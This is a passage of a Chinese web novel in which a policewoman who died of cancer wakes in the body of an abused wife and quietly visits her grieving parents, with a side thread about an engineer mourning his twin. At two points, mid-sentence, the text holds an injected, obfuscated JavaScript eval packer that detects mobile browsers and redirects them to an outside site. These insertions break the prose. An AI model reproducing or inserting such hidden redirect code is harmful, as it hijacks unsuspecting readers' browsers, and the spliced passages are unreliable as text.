《情况有变》 1. 今天几月几号 1. 救护车的声音在微凉的秋风里“呜哇呜哇”由远及近,以道路准许的最高速度冲向第三人民医院。车底四个轮胎尚未转向完毕,尾门打开,中年人连绵的悲泣声裹缠着“雯雯”的呼声扑入人耳。 “……癌,晚期,在家躺了六个月,说好的不来医院,但最后我姐两口还是没舍得……太年轻了,谁都舍不得……求你们帮帮忙,孩子太难受了,就算……就算只是来这里给一针,能让她做个梦无痛走了也好。” 病人的小姨一边抹着眼泪跟着推床往前跑,一边回答医护人员的问题。病人的父母此刻眼里只剩下自家姑娘奋力睁开一条眼缝试图安抚他们的疲惫笑容——也许是最后的笑容——没法有半点分神。 有暗色的液体滴滴答答落在地面上,是病人急咳数声以后喷溅出来的血。 低低的悲泣声和“雯雯”的呼声逐渐远去以后,长廊某个单间病房的检测仪器突然发出几声清脆滴响。在病床上昏迷了五天的女人眼睫抖了抖,脚趾微蜷,但无人察觉。 两片轻薄如烟的精神体在无人看见的空间里浮浮沉沉。 很多文学作品里形容,死而复生的人睁开眼,“感觉自己像是做了个很长的梦”。 李闻雯用亲身经历辟谣:没有这种感觉。意识从失去到回笼似乎只是一瞬间的事儿,就像你在课堂上支着下巴打盹儿,大脑突然断片儿一垂,又倏地惊醒一扬。 她先开始以为是医护人员的急救措施起作用了,自己又挺过来了,还多少有点无奈。直到床尾那个她一照面竟没能看出年纪的男生红着眼眶撇开头出去,给她留下一句硬邦邦的“我去叫外公”。 李闻雯生活的周围,大家都是叫“姥爷”的,没有称“外公”的。 当然,这称不上是个破绽。 破绽是李闻雯一转头从床头的玻璃制品摆件上瞅到一张好看又陌生的脸。 …… “今天几月几号?” “十月七日” “二零二二年?” “……别开没有意义的玩笑。” 也不需要人回答了,李闻雯在床头的速食包装袋上看到了二零二二的生产日期。 李闻雯上一次以癌症末期病人的身份睁开眼睛时,也是二零二二年十月七日。 虽然她只是平庸乏味的普罗大众中的一员,并不怎么关注科技领域或是黑科技领域,却也无比坚信,这个时代任何角落的科技发展水平都不足以在一天的时间内完成大规模的整容手术和术后恢复。尤其是她感觉自己似乎还长了个头,脚趾头都快要够到床尾架了。 李闻雯感觉身体软绵绵的,使不上力气,她静静与满面狐疑的老头儿对峙——在她问出“二零二二年”这个问题以后,老头儿就一直是这样的表情。 老头儿自称“程祥”,是刚刚那个男生嘴里的“外公”,而那个男生则毫无“意外”是她的儿子——和一位叫邱怀鸣的先生生的。李闻雯有个朋友最喜欢在互联网上无痛当妈,她这回算是理解这位朋友了。 说到这个男生,他其实是个“小”男生,只有十一周岁,却一米七出头,仿佛是吃化肥长大的。 “你说你不记得自己是谁?” 程祥再次向她确认。 “对,不记得了。”李闻雯没什么力气,轻声道。 “你又在打什么主意?你就是不能安安分分地跟着邱怀鸣过日子?” 程祥的不耐烦终于有些掩饰不住了。 李闻雯听不懂这话,不便贸然开口,便转头去看窗外的秋色。她不知道现在是什么情况,也不知道自己能存在多久,但她知道壳下换人这个事儿不能漏出端倪。她不能被人送进精神病院,她得回家去看看自己的爸妈。 邱怀鸣先生在一个多小时以后西装革履地赶来,见面就给了李闻雯一个密不透风的拥抱。 邱怀鸣面貌看起来三十出头,模样周正,肩宽腿长,且衣着搭配品位不俗,很像是电视剧里那种一边快步向前走一边吩咐助理做事的精明能干的经理。 ——李闻雯只能给出这样的比喻,因为她去世的这天甚至还不满二十六周岁,只有两年多的工作经验,而且还是比较颠簸的工种。 李闻雯正不知如何是好,听到了一声难以自抑的哽咽,于是便更不知道如何是好了。 “你不知道我是谁对不对?”邱怀鸣问。 “……对,对不起。”李闻雯温吞道歉。 邱怀鸣轻轻揉着她的后脑勺,温柔道:“傻话,你生病了,不必道歉。我在赶来的路上给杨策打了电话,哦,你也忘了杨策,他是咱们的高中同学,你的主治大夫。他说或许过几天就缓过来了,先不用太担心。” 李闻雯“哦”一声,暗暗督促自己得抓紧恢复身体,争取早日下床。 邱怀鸣低下头怜惜地用唇角点了点李闻雯的额头,用后怕的语气道:“不管怎么样,你人没事就是万幸。” 李闻雯不自然地:“呵,呵。” 2. 李闻雯睡醒以后胃口格外好,给什么吃什么,三天的清粥小菜以后就是各种大补,如此两周下来把原主吃得脸圆了一圈儿,小尖下巴颏都快没了。 前面忘了介绍,原主叫程松悦。但李闻雯偶尔如厕,瞧着镜子里前的女人,觉得她以前过得大约并不怎么松快愉悦,因为三十二岁的年纪居然没有法令纹。不过虽然没有法令纹,陈年旧伤倒是不少,据说是因为有段时间喜欢户外运动,在征服极限中因为出现各种匪夷所思的失误落下的。 十月下旬,李闻雯恢复大半,撤了各种医疗护具出院了。此时她自我感觉只除了仍不能久站,与常人无异。邱怀鸣细心地每天给她涂祛疤胶,所以车祸造成的疤痕也逐渐不怎么狰狞了。 “老婆听话,乖乖在家里呆着,我下班早点回来。”邱怀鸣系着领带给了李闻雯一个仓促的额吻,“阿姨炖的汤煨在锅里,你去喝点睡个午觉。” 邱怀鸣上午拨冗去医院接人回家安顿下来,本来要温存一番,但助理一个电话打来,温存就没了,他得立刻赶回公司开会。 “好的。” 李闻雯借着喝水避开邱怀鸣的视线。 邱怀鸣瞧了李闻雯一眼,嘴角微微勾了勾。 邱怀鸣拎着公文包开车出门以后,李闻雯重新漱口洗脸,去楼下厨房里关火喝汤。阿姨炖的是甲鱼汤,很鲜,但口淡,她遍寻不到精盐,便仰首叫了两声“阿姨”。然而上下两层三百多平的空间安静得像座坟墓,一丝回声也无。她捧着碗顿悟,“哦,是请的钟点阿姨啊。” 一顿饱餐过后,李闻雯的精神又恢复不少,便准备出门去。 她自打两周之前睁眼一直努力撑到现在,甚至刚刚邱怀鸣跟她耳鬓厮磨她难受得起了鸡皮疙瘩都不敢躲开,就是为了能在被逮进精神病院之前回家看看。 然而刚刚走到门口,埋在包里的手机就突然震动起来,李闻雯犹疑片刻,翻出来接听。 ——李闻雯当然也不记得原主的手机密码,是邱怀鸣告诉她的。 是邱怀鸣打来的视频电话。邱怀鸣似乎刚刚抵达公司,他在略微嘈杂的背景音里语气平和地劝告她,“身体还没有彻底回复,不要独自出门。” 李闻雯惊诧地抬头四顾,在酒柜最上头找到两个摄像头。 一个对准大门的位置,一个对准楼梯的位置。 “你在家里装摄像头?”她问。 “我忘了你不记得这回事儿了。是去年家里进了小偷以后你让装的。小偷偷走了你的一块手表和你最喜欢的两条海湾珍珠项链。”邱怀鸣解释。 李闻雯愣怔片刻,微微拖长了声音“啊”了一声。 大约是李闻雯愣怔的模样在镜头里看着有些可怜,邱怀鸣放缓了语气,循循善诱,“我知道你在医院里住的时间太长,憋坏了,这样好不好,你去上楼睡一觉,等邱迩五点半放学,我让司机去接你们俩,我们去你最喜欢的那家音乐餐厅吃饭。” 李闻雯不再去看镜头,也不说话,只盯着门缝里透出来的日光出神。 邱怀鸣那端有人敲门,他转开目光跟人说了句“先带人去会议室”,又向李闻雯重申,“老婆听话,上楼睡觉去,再养几天,我不放心你。” 片刻,李闻雯遗憾点头,慢腾腾向楼梯移去。邱怀鸣说的不无道理,原主姐姐毕竟曾经昏迷好几天,如此仓促出门,要万一路上出点意外,对不住人家。 车祸确实是狠狠伤了程松悦的底子。李闻雯自觉在医院睡了十几天实在是睡够了,结果往床上一躺,仍是一觉睡到了邱迩放学。她掩着呵欠下楼时瞧见刚进门的小男生,正琢磨着是不是要跟他说些什么,小男生眉头一皱转头就去了书房。 邱怀鸣果然如约在傍晚六点派司机来接她和邱迩出去吃饭了。 司机姓刘,五十来岁的样子,长相敦厚老实,见面就叫她“邱太太”。 邱迩出门径直走向副驾,李闻雯瞧着他细胳膊细腿的模样,实在是担忧路上一个急刹他就会被安全带勒断胸骨,便嘴里回应着司机,把副驾的车门推回去,不做声地给他指了指后座。邱迩愣了一下,给了她个不耐烦的眼神,重又打开后车门。 李闻雯从另一侧车门上车,她坐稳瞧了一眼紧贴着车门打游戏的小男生,突然有些不忍心。她仍记得在医院里她问他“你是谁”时,他一瞬间涨红的脸。 邱迩的长相偏程松悦更多一些,小尖下颌,薄唇,高鼻梁,杏仁儿似的眼睛如果放点儿柔软的情绪进去,是楚楚动人款的,但可惜那双眼睛惯常是没有什么情绪的。 李闻雯留意着路况稍微向邱迩那边挪了挪屁丨股,一边思索一边轻声向他解释,“我只是暂时忘了你了,并不是不认你了,你不要着急。” 她可以在程祥和邱怀鸣那里沉默伪装,但真的很难在“儿子”面前沉默。尤其这个“儿子”看起来也没过什么好日子。 ——反正如果是她妈妈突然问她“你是谁”,她在他这个年纪不可能是他那样的表现。 邱迩浓长的睫毛掀起复又落下,没搭理她,又开了一局游戏。 李闻雯盯着他手机屏幕里的小兵人儿研究了五分钟,没研究出什么意思,随手顺了顺风衣下摆,转头去瞧车窗外开始泛黄的树叶。 李闻雯今天这身衣服是邱怀鸣在电话里遥控搭配的,一件材质“脆弱”的黑色小礼服裙,外面套一件米棕色长风衣。她本人当然不是这个风格的,她早前的工作性质也不允许,但她尊重人家夫妻间的这点小情趣。不过最后出门前她没穿邱怀鸣指定的那双细带高跟鞋——邱怀鸣大概是忘了,她腿脚还没有完全恢复好。 “风吹树叶的声音真好听。”李闻雯突然轻声感慨。 在最后被送医抢救的那天之前,有将近六个月的时间里,李闻雯都被困在自己房间里。她爸李辉和她妈赵大良倒是也曾计划载她出去转转散散心,是她自己觉得太折腾了——她那时已经是弱不禁风的状态了,一点点伤风感冒就能把他们折腾去半条命。 最后那六个月里,她窝在自己房间里窃听外界的各种声音,有楼下小贩卖豆腐的吆喝声,有电动车的车喇叭声、有两兄妹“今天到底该谁洗碗”的争执声……但最常听到的,是风吹树叶的声音。李闻雯就在这哗啦啦的声音里,在父母朋友的呵护下,心情平和地慢慢走到生命的尽头。 3. “……以上就是当前为止的全部进展。” 叶进用简洁的语言把最后一个项目陈述完,抬手撤掉全息影像,用疲惫的眼神示意继任者“有问题抓紧问”——他已经将近两周未曾躺下休息了。继任者虽然平日里也是一头犟驴,但此时此刻哪敢有多余问题,他悄无声息地领着团队其他人鱼贯而出,只将与叶进私交不错的许炼留下。 “我让助理给你定了去冰岛的机票,你明天一早就出发。”许炼合上笔记本电脑,定定望着叶进,“山间的小别墅已经请人打扫好了,你可以去后面林子里凿冰冬钓,也可以去山顶滑雪,我那里都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094376|163679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装备。到了以后记得给我个电话。” 叶进松开手里的指星笔,微掀了掀眼皮,“嗯。” 叶进有别的打算,但并不准备告诉许炼,因为许炼其实并非与他私交不错,而是与他的同胞哥哥叶赫私交不错。 许炼最近一段时间睡眠质量很差,现在脑子已经快要转不动了,但仍然搜肠刮肚与叶进交流,“你爸妈那边一直有我爸妈陪着,最近这几天情绪已经稳定下来了,你从冰岛回来再去见他们。” 叶进慢吞吞摘掉象征研发总师身份的戒指识别卡放在笔记本旁边,片刻,又是一声毫无起伏的“嗯”,这回就连眼皮都不掀了,从许炼这个方向看,那与叶赫如出一辙的浓长的眼睫几乎把眼睛挡了个严实。 许炼有心安慰他几句,但那些话在舌尖转了几圈又咽下去了,因为怀疑他并不需要。 许炼虽然自高中时起就经常出入叶家,但与叶进却一直没什么交情,倒不是说两人谁瞧不惯谁哪里,就是单纯的气场不合。与叶赫相比,叶进因为太聪明所以太锋利,许炼很难想象叶进会有垂下头需要人安慰的时候,因为连他都知道安慰并不能疏郁止痛。 一片静默里,叶进仿佛乍醒,突然问:“今天几月几号?” 许炼顿了顿,答:“十月二十七。” 4. 车子缓缓滑停在一家叫“Storm”的音乐餐厅前。李闻雯下车前仔细打量了一番这家餐厅的外部装潢,是自己以李闻雯的身份活着时AA都绝不会来的地方——A不起。 果然,一份牛排998,几乎是她以前工资的四分之一。贫富差距真是令人潸然泪下。 “不要扎头发。”邱怀鸣一碰面便伸手扯去了李闻雯的发圈。后者没当回事儿,也没坚持要回来,因此此刻就只能扶着头发,趋近去观察那块据介绍“米其林餐厅专用”的雪花牛排。 “不合胃口?”邱怀鸣见李闻雯迟迟不动刀叉,轻声问。 李闻雯摇摇头,停止慨叹贫富差距,抓起刀叉。 邱怀鸣缓缓把目光从李闻雯身上移开,转向邱迩,道:“上个月跟你说的事儿没忘吧?你叔叔给你选好学校了,明年三月份你就过去。” 邱迩正在切割牛排的手一顿。 邱怀鸣见他沉默不语,似仍有抵抗,声音威胁低沉,“听见没?” 李闻雯盯着邱迩倏地苍白的侧脸瞧了片刻,突然出声问邱怀鸣,“你让他去哪儿?” 邱怀鸣额头的青筋微地一跳,转向她,慢慢扯起唇角,道:“德国,法兰克福。” 李闻雯就事论事,“十一岁太小了,最起码也要把初中读完再出去吧。” 邱怀鸣靠向椅背,眼里的嘲讽几乎藏不住,他慢条斯理道:“我跟你说过的,人是不能惯着的,别人能,他就能。” 李闻雯露出不解的神情,问:“在能惯着的时候为什么不惯着呢?我有个长辈曾经说过,人生下来就是会有很多苦要吃,但也不用太早就追着吃。” 邱怀鸣盯着李闻雯认真反驳的模样慢慢扯起嘴角。她是真失忆了,他此刻再确定不过。 邱迩的叉子突然掉了,落在光可鉴人的大理石地面上“铛”一声响,打断了两人的对视。 邱怀鸣垂眸去看,视线越过叉子,落在李闻雯脚上的德训鞋上。 …… 在奇怪的氛围里结束晚餐,邱怀鸣结了账揽着李闻雯的肩膀向外走去,邱迩跟在他俩后面揪着自己的卫衣帽绳带,不知道为什么,神色仓惶。 “要不然去商场里逛一逛吧,我这两天好像有点积食。” 来到邱怀鸣的车前,李闻雯转首瞧见天桥另一侧的商场入口标识,突然提出要求。但邱怀鸣似乎没有听见,直接上车催动了引擎。 “老婆,上车。” 李闻雯姑且当体恤他上班劳顿,没有再重复自己的要求。 …… 邱迩到家就在邱怀鸣的驱赶下上楼回房间了。李闻雯在门前小院的秋千架上荡了几下之后,在邱怀鸣突然变得不耐烦的呼喝下慢腾腾进门。她不理邱怀鸣越来越明显的异常,顾自挂好风衣,又低头去斗柜里取拖鞋。 “哐当”一双高跟鞋擦着她的胳膊落在她脚下。 邱怀鸣面色阴晴不定,用似乎已来到临界点的隐忍语气要求她,“把这双鞋穿上。” 李闻雯仿佛没有察觉到危险。“穿不了,脚疼。”她满不在乎地说。 邱怀鸣刻意放缓语速,一字一顿,“行啊,行,不穿,那就他妈跪下给我磕一个。” 至此,邱怀鸣温良的面皮彻底扯下来了,他眼神阴鸷望着她,抬手缓缓松开领带。 李闻雯迎视着邱怀鸣凶狠的眼神,确信这句“跪下”绝非夫妻间不足为外人道的小游戏里的“跪下”。自己这些天从各种蛛丝马迹里分析出来的结果成了真。 李闻雯两手缓缓插进兜……插不进,这件材质“脆弱”的连衣裙没兜儿。 她说什么来着,她倒霉了一生,不大可能如此轻易重头来过,而且开局就是赢家配置。 邱怀鸣见李闻雯迟迟不动向她发出警告,并向她压近一步意图震慑,“别她妈惹我生气,你知道我没什么耐心。” 李闻雯扫一眼面色黑沉的邱怀鸣,慢慢活动着腕部关节。虽然为原主所托非人深感遗憾,但剧情是这个走向,反而好办了。翻脸了就可以不必同床了。 李闻雯因为不能说“壳下换人”这句炸裂的实话,也就没机会向这位邱怀鸣先生做个自我介绍。在因病归家之前,她是大都西城分局(原新城分局。东城开发并被渐渐叫起来了以后,西边的新城就成了西城)的一位民警,她虽然工作报告总是写得一塌糊涂,屡屡被打回来并被呵斥得灰头土脸的,但是曾在西城分局留下以一敌二不落下风的传说。赤手空拳收拾个疑似家暴犯信手拈来。 李闻雯有商有量道:“我腿脚有伤,不可能穿给你看,但是你要是真的很喜欢,倒是可以自己穿,我尊重异装癖。” 2. 我叫程松悦 1. 李闻雯其人,长着一张软柿子的脸,说话做事都不紧不慢的,但从小就是个硬茬。她慢条斯理说完这句“我尊重异装癖”,倏地侧身抓住邱怀鸣愤怒的拳头,“咔擦”一声反扭,继而以趋近原主身体极限的速度和力量提膝,狠狠撞击邱怀鸣的腹部。一击便让邱怀鸣表情扭曲倒地,再无还手之力。 “你动手之前还是再考虑考虑,毕竟我现在不记得你是谁了,不还手的情分也就没了。”李闻雯语重心长地劝道,顿了顿,又“此地无银”式补充,“我散打课上可学了不少本领。” ——李闻雯在医院里充分发挥自己的专业所长,只通过一部手机,就将程松悦近年的动向摸得七七八八了。程松悦去年上过散打一对一私教课,不过只坚持了两个多月就作罢了,原因不明;之后又上了游泳一对一私教课,也半途而废。 邱怀鸣当然知道程松悦上过散打课,但那又怎么样,先不说她自高中起的散漫的学习态度,她对他的恐惧是日积月累的,只要他把脸沉下,她连反抗的眼神都不敢有,何谈还手? 邱怀鸣蜷缩在地上剧烈咳嗽着,用憎恶和狐疑的目光紧盯着李闻雯。但“壳下换人”这个答案太空前绝后了,但凡脑回路正常的都不可能去往这个方向联想。 “我又忘了,你失忆了,忘了给我当狗骑的贱样了……” 邱怀鸣“呸”地吐出一口血,忍着腹内剧痛,艰难倚墙坐起来。 李闻雯因为这句不入耳的脏话皱眉,她抓住他的领子本欲再捶他一顿,却不意瞧见楼上邱迩的房门似乎是没有关严。她慢慢松开对他的钳制,起身望着他,道:“我忘了我不跟你离婚的原因,所以我们暂时可以继续以夫妻的身份生活,但是在我记忆恢复之前,你自己挑一个房间搬出去。” 邱怀鸣输人不输阵,张口又要侮辱人,倏地愤怒瞠目。 李闻雯在他不可置信的目光里把高跟鞋的鞋头又往他嘴里塞进去了一些,表情认真头头是道地给他分析着:“我听说家暴成性的,大多是因为青春期星器官发育迟缓或发育不全,心理长期自卑扭曲造成的。你也是这种情况吧?找一天去专科医院看看,或许能治。” 邱怀鸣的眼神凶狠得仿佛下一秒就要张口吃人了。 2. 因为已经确认了邱怀鸣与原主糟糕的关系,李闻雯便不再顾及邱怀鸣,第二天一大早就出门了。 嗯?去哪儿?当然是回家。李闻雯从睁开眼的那刻就盼望着回家。 虽然同在一个城市,但是邱怀鸣夫妇的居所位于繁华东区闹中取静的地段,李闻雯自家位于西区边缘尚未开发到的地段。所幸虽然搭乘地铁约需七十分钟,但并不怎么折腾,只需在二号线终点站再转一趟十四号线即可。 李闻雯下了地铁便沿街向自家的方向走去,她有将近小半年没见过这片熟悉的街景了,因此一路目不转睛盯着沿途陈旧的街铺和来来去去忙碌生活的街坊邻居。有个曾经给过她棒棒糖吃的小孩举着塑料风车呼朋引伴向前跑去,旁边胡同里追出来一只拖着狗绳汪汪大叫的狗。李闻雯半张着嘴轻轻“啊”一声,一时居然无法分辨自己眼前到底是实景还是走马灯里的景象。 李闻雯在各种混乱中恍恍惚惚来到自家街门对面,在与李辉和赵大良之间的距离只剩下一条宽度不到十米的马路时,却突然迈不开腿了。她突然意识到,她不能回家。因为她不知道自己这种情况是怎么回事,也不知道自己可以存在多久。说不定爸妈失而复得的眼泪还没擦干净,她的意识就突然烟消云散了,那就太残忍了。 一辆黑色轿车“嘎吱——”刹停在李闻雯前面不远处,车窗“嗡”降下来,一个卷毛脑袋举着正在通话的手机探出来,向着李闻雯家的小院喊道:“大姐,我到门口了,你快出来拿一下,我赶着去机场接人。” “卷毛脑袋”是李闻雯的小姨赵小好。 李闻雯下意识后退两步,怕小姨回头瞧见她,又怕她妈赵大良出门瞧见她。但她很快就定住了,因为低头瞧见自己身上做工精良的大衣,记起她现在正顶着一张她自己都还没熟悉的脸。 李闻雯眼巴巴望着自家的街门,大约一分钟后,赵大良出来了。李闻雯瞧见赵大良身上的衣服,偏过脑袋微微调整呼吸,藏起来眼底的湿意。 躺在床上的最后那一小段时间,她开始热衷于网购,给父母买了很多衣服,春夏秋冬的都有。她希望他们在之后的几年里每天瞧见身上的衣服多少能是个慰藉…… 赵小好把一个装有各类药品的塑料袋从车窗里递出来,向她姐赵大良叮嘱:“我写了纸条,你们照纸条里的数量吃,每天都要吃啊,不要忘了,吃完我那儿还有。” 赵小好家里开着药店,每隔一段时间就会把店里临期的各类补品或维生素送过来。大约这些补品和维生素多少也起了作用吧,李闻雯最终比医生预计的多活了两个多月。 赵大良把塑料袋接过来,说:“行行,知道了。” 赵小好又问:“姐夫在不在家?他最近好点么?” 赵大良道:“在屋里床上躺着,说是昨晚梦见雯雯了,但早上睡醒忘了雯雯跟他说什么了,又难受起来了……前几天跟我说想向单位申请提前退休,我没答应。现在出门朝九晚五上班还能振作一些,要是退休回家,人就彻底垮了。” 赵小好道:“是是是,可千万不能退休,你再多劝劝。” 赵大良伸手拨了拨耳鬓的碎发,向后退开一步,道:“不说了,不是说赶时间么,你赶紧走吧,不要开快车。” 赵小好升起车窗,尽可能轻快道:“大姐,那我明天来家吃饭。” 赵大良推辞道:“你最近忙就不用总往这儿跑了。” 赵小好扬声唾道:“四千多的工资,不值得我多忙。” 赵大良扯了扯嘴角,瞧着赵小好驶离,然后转身往回走。她拎着塑料袋一路低着头,并未留意到李闻雯。 3. 李闻雯眼眶微红瞧着赵大良,一路目送赵大良进门消失不见。之后也仍迟迟不走,因为还没有看到她爸李辉。在李闻雯的家里,温柔敏感的李辉是最需要保护的,如果她或者赵大良出了什么意外,最放不下的不约而同都是李辉。 “多好的秋天,也不出来走走。”李闻雯嗓音微哑轻声抱怨。 李闻雯正闷头难受,有人不轻不重拍了拍她的肩膀—— “你在这里观察半天了。你叫什么?你认识这家的谁吗?” 李闻雯慢腾腾抬头,她自初中结识的好友安姚正拎着个礼盒和一塑料袋鸡零狗碎的东西蹙眉瞪着她。安姚比李闻雯矮小半个脑袋,比程松悦矮大半个脑袋,此刻虽然受身高所限半仰着头瞧人,却拿出了凌人气势。 李闻雯思索着,缓缓道:“我叫程松悦,是李闻雯的朋友。” 安姚面无表情审视着她,没有表现出相信,也没有表现出不信。 李闻雯屈指轻轻压了压眼尾,咳嗽了两声,继续道:“很长时间没联系了,突然发现她不知道什么时候删我好友了,所以就找过来看看……刚刚从别人那里听说了她去世。” 安姚没什么意义地“啊”一声,仍旧没有接话的意思,只是把礼盒和塑料袋换到另一只手上拎着,以眼神示意她继续说下去。 李闻雯耐心道:“没骗你,我真是她朋友,我们虽然往来不多,但认识好几年了……她有个小时候叫过几年的小名,叫绵绵,因为她爸妈希望她的性格能绵软些。她有个老虎公仔,是我去年年底送给她的新年礼物,也不是专门给她买的,其它属虎的朋友也都有。” 安姚听到“绵绵”的小名和老虎公仔,神情终于松动了几分,但仍是道:“我跟她关系一直挺好的,她一般什么都跟我说,但我没听她提起过你,你们在哪里认识的?” 李闻雯沉默片刻,说:“在她经常跑步的一个公园里认识的,我当时跟人讲电话提到葡市,她听到了,过来请我帮忙介绍当地景点,说想跟朋友去葡市玩儿。” 安姚听到葡市神情又有缓和,因为李闻雯嘴里那个要跟她一起去葡市的朋友就是她。两人节衣缩食在大二结束的暑假去了葡市,李闻雯还在葡市地铁上抓了个贼。 安姚抿了抿唇,追问:“你还知道她别的什么事吗?” 李闻雯闻言颇为诧异地望着她。安姚在她面前向来表现得钝感,但在外人“程松悦”面前居然如此高冷戒备。 安姚轻扯了扯唇角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094377|163679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,向她解释,“雯雯虽然做警察的时间不长,但在职期间还是抓过那么几个坏人的,现在她家里只剩下一对父母了,我多问几句希望你不要介意。” 安姚差不多有八分相信眼前这位“程松悦”真是李闻雯的朋友了,因此多解释了一句,也留了个心眼儿,故意点出李闻雯曾是个警察这件事儿,起个微末的震慑作用。 李闻雯缓声道:“她说她在警校能以一敌二,我不知道是真的还是她吹的;她说她爸妈的性格是反过来的,妈妈神经比较粗,爸爸相反;另外,她有个很好的朋友叫安姚,从小喜欢服装设计,不知道你认不认识。” 安姚眼睫低低垂落,“哎,认识,我就是安姚。” 李闻雯顿了顿,又道:“她还跟我说过一件事,但你不一定知道。她大学时期曾经通过一个群,加了隔壁医科大某个男生的微信,向男生告白。但是中间不知出了什么差错,男生错把她认成别人了。两人聊了两周后,男生终于发现自己认错人了,给她留下一句‘你有意思没’,没给她申辩的机会就把她删了。她至今都觉得很冤。” 安姚惊讶地抬眸,“啊,这件事,我知道的。” 李闻雯特意挑着事情说的,安姚当然知道。安姚还知道,男生那句奚落的“你有意思没”之后,李闻雯忍着内伤数次去医科大企图解释清楚,但那个男生均避不见面。最后一次被人出来转达“他说跟你没什么好说的”,李闻雯直接被气红了眼眶,那点朦胧的感情当下就被连根拔起了。 李闻雯用这件只有她和安姚知道的糗事获得了安姚百分之九十五的信任,之后打开微信给安姚瞧了一眼程松悦与“李闻雯”的聊天页面,一举将信任值提升至百分之百。 程松悦微信里有个朋友恰巧用的是跟李闻雯一样的哪吒头像,她刚刚在跟安姚说话的时候把人家的备注名改了,改成了她本人的“LWW”。 李闻雯仿佛随手一划向安姚展示出来的对话界面是大约半年前的。 程松悦问这位微友,是否要去健身。微友回复,最近身体不太好,一直低烧,不方便出门。程松悦又问,有没有去医院检查,怎么老是生病。微友回复,自己什么毛病自己知道。再往下面是两张没什么意义的表情包。 安姚不再有任何疑虑,招呼道:“我给叔叔阿姨带来了几本相册,里面有我们俩以前的合照和她的单人照。你要是愿意的话,就跟我一起进去跟叔叔阿姨打个招呼?” 李闻雯按压着情绪,轻声道:“……好。” 李闻雯在安姚的安排下以程松悦的身份回家,这回终于见到了李辉。 虽然在离世前的数月,李闻雯就积极在给李辉做心理疏导,但很显然那些夜晚李辉一句一句的“我都明白,你不要担心”全都是安慰她的。李辉的状态很不好。不过是三周不见,他看起来却像是老了三岁直接到了退休的年龄。 “叔叔,阿姨,你们好,我叫程松悦。” 李闻雯艰难开口,在赵大良不怎么热道的礼让下,徐徐坐进了生前最喜欢的沙发拐角。 …… 因为安姚有事不能久待,李闻雯作为一个“往来不多”的朋友就也没能久待,只是觑着安姚偶尔闭嘴的空档跟赵大良和李辉各说了几句话就跟着安姚告辞了。 安姚是开车来的,车就停在拐角街道的坡下,她问李闻雯是否顺路,可以载她一程。李闻雯迟疑片刻,表示感谢好意,但是自己要在附近走一走。 说谎这个事儿李闻雯是从各嫌疑人那里蹭到的经验,三分假七分真、适时主动出击方是良策。她眼下主动交待要“在附近走一走”显得与朋友感情深厚,但如果被安姚撞见“在附近徘徊不去”就显得居心不良了。 安姚道别离开以后,李闻雯给自己买了串糖葫芦,在家附近的几条街道转了转,又去西城公安局门口转了转,然后在夜幕降临之前乘地铁返回。这期间邱怀鸣来过两个电话,都被她掐了,她倒主动给邱迩去了条信息,告知他自己会晚归,但消息如石沉大海,没有激起半点水花。 ——李闻雯感觉原主程松悦这个妈妈做得似乎有点问题,但问题具体出在哪里她一时还想不明白。不过既然现在原主“失忆”了,那倒不妨从零开始。 3. 开车的不是我 1. 叶进拎着行李箱在航站楼前与许炼的助理道别,之后又打车往来时的路走。一个小时后,叶进重新回到自己的公寓。他将拿来装样子的空无一物的行李箱扔在玄关,眼皮微耷着走向叶赫的卧室。 叶赫的卧室与叶进的大不相同。 叶进的卧室里混乱摆放着各种各样他随手制造出来又很快失去兴趣的小玩意儿,3D件、传感装置、机械臂扔得哪儿哪儿都是,如果能将内侧的大床撤掉,再装上四台电脑,那这间卧室就与他以前家里的书房没有什么区别了——啊,也不好说,他搬出来另过的日子太长了,以前家里的书房是什么模样其实已经记不大清楚了。 与叶进那一室的凌乱相比,叶赫的卧室就太令人赏心悦目了,所有东西都有它们固有的位置,且都有摆放逻辑,就连黑波置物架上手掌大小的一百四十多个投影盘都一丝不苟地分门别类卡在它们应属系列的底托上。叶进曾经跟叶赫打赌抽查过,结果不止投影盘一个都没有装错,盘里指甲盖大小的碟片也一个都没装错。 叶进眼睛微红慢慢从黑波置物架前走过,脑子里又响起叶赫赢了赌局后的那句得意洋洋的“刚刚说好了的,做饭+洗碗+跟我看《异界来客》,愿赌服输”,他不由猜测,叶赫现在应该不怕那些“来客”了吧,他都打入他们内部了。叶进因为脑子里突然跳出来的这个莫名其妙的不合时宜的玩笑轻扯了扯唇角。 叶进与叶赫虽然是同胞兄弟,性格却完全不同。叶进从小就被诟病又闷又犟不听话,不如哥哥开朗、懂事、好沟通。“你能不能向你哥学学让我们省点心”,父母的这句口头禅几乎贯穿了他的整个成长时期,直至研二即将结束他不声不响以“SG最年轻的研发总师”的身份出现在智能制造领域的主流杂志上。 不过虽然每每在各种对比中落败,叶进却并不讨厌叶赫。因为叶赫实在是个非常优秀的人,他谦逊、宽和、有自制力、极富同理心,虽然只比叶进大十五分钟,却一直正经八百以“哥哥”自居,且是一个非常包容的哥哥。 “我要出去跑两圈,你来不来。”叶赫的声音又响起来了,就在门口的位置,非常真实,叶进不由微微向门口的方向偏了偏脑袋,但他很快就给了心存幻想的自己一个不屑的嗤笑。 “叮——”许炼的短信到了,问叶进上没上飞机,叶进回答“嗯”。 叶进重新躺回叶赫的床,他原想再睡个回笼觉,却一直也没睡着。 